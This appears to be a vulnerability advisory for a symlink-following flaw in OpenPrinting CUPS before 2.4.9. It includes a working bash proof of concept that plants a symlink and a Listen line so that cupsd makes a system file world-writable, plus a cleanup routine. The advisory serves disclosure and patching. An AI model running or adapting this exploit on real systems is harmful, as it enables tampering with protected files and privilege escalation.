Improper Link Resolution Before File Access ('Link Following') Affecting OpenPrinting/cups package, versions [,2.4.9)

Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') when starting the cupsd server with a Listen configuration item pointing to a symbolic link. An attacker could change the permission of any user or system files to be world writable by having the cupsd process to perform an arbitrary chmod of the provided argument, providing world-writable access to the target.

set -e
exploit() {
        echo "Staging..."
        mkdir -m 777 /tmp/stage
        ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf

        # emulate configuration access to cupsd.conf
        echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf

        echo

        echo "Current permissions of cupsd.conf"
        ls -l /etc/cups/cupsd.conf
        tail -n1 /etc/cups/cupsd.conf || true

        echo

        echo "Restarting cupsd"
        sudo systemctl restart cups

        echo

        echo "New permissions of cupsd.conf"
        ls -l /etc/cups/cupsd.conf
        tail -n1 /etc/cups/cupsd.conf || true
}

cleanup() {
        sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf
        sudo chmod 640 /etc/cups/cupsd.conf
        rm -rf /tmp/stage
}

$@

• GitHub Commit
• Snyk Blog Post
• Vulnerable Code